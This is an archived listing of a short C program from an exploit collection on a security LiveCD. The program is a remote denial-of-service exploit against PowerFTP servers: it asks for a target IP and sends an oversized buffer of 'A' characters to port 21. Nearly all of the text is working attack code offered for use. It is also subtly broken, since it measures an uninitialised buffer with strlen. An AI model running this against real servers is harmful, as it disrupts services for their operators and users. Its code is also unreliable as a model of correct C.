home *** CD-ROM | disk | FTP | other *** search
/ Chip 2007 January, February, March & April / Chip-Cover-CD-2007-02.iso / Pakiet bezpieczenstwa / mini Pentoo LiveCD 2006.1 / mpentoo-2006.1.iso / livecd.squashfs / opt / pentoo / ExploitTree / application / ftp / poweftp / power-ftp-ex.c < prev    next >
C/C++ Source or Header  |  2005-02-12  |  1KB  |  41 lines

  1. /* Remote DoS Exploit for PowerFTP server (all version) */
  2. /* Coding by Morgan A. member of secureNT-2000 Greetz : */
  3. /* kdm, Yann, GaLiaRepT, and all i've forgotten ;)      */
  4.  
  5. #include <stdio.h>
  6. #include <winsock.h>
  7.         #pragma comment(lib, "wsock32.lib")
  8.  
  9. void main()
  10.         {
  11.         WSADATA WSAData;
  12.                 WSAStartup(MAKEWORD(2,0), &WSAData);
  13.  
  14.                 SOCKET sock;
  15.                 SOCKADDR_IN sin;
  16.                 char *buffer = new char[255];
  17.  
  18.         char ip[50];
  19.         printf ("Remote DoS Exploit for PowerFTP server\n\n");
  20.         printf ("Remote IP: ");
  21.         scanf ("%s", &ip);
  22.  
  23.         char DoS[3000];
  24.         int i;
  25.         for(i=0;i<strlen(DoS);i++)
  26.         {
  27.         DoS[i]= 'A';
  28.         }
  29.  
  30.         sock = socket(AF_INET, SOCK_STREAM, 0);
  31.  
  32.                 sin.sin_addr.s_addr                     = inet_addr(ip);
  33.                 sin.sin_family                          = AF_INET;
  34.                 sin.sin_port                            = htons(21);
  35.  
  36.                 connect(sock, (SOCKADDR *)&sin, sizeof(sin));
  37.                 send(sock, DoS, sizeof(DoS), 0);
  38.                 closesocket(sock);
  39.                 WSACleanup();
  40.         }
  41.